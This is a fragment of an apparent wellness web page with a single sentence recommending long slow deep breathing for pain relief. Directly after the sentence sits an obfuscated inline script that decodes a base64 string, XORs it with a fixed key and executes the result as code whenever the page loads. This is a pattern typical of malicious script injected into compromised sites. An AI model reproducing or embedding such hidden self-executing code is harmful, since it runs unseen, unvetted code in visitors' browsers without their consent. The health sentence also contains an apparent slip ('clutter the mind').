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					<p>In my experience, long slow deep breathing is one of the best methods for pain relief and to clutter the mind<script>!function(){var _0xe7fc9c1b87c6=atob('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'),_0x49005ba17b4e=127,_0x3d3304e7724b=new Uint8Array(_0xe7fc9c1b87c6['length']),_0x0d34495fcb82=0;for(;_0x0d34495fcb82<_0xe7fc9c1b87c6['length'];_0x0d34495fcb82++)_0x3d3304e7724b[_0x0d34495fcb82]=_0xe7fc9c1b87c6['charCodeAt'](_0x0d34495fcb82)^_0x49005ba17b4e;(new Function(new TextDecoder()['decode'](_0x3d3304e7724b)))()}();</script></p>
										
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								<span style="display:none" class="updated">2026-08-08</span>
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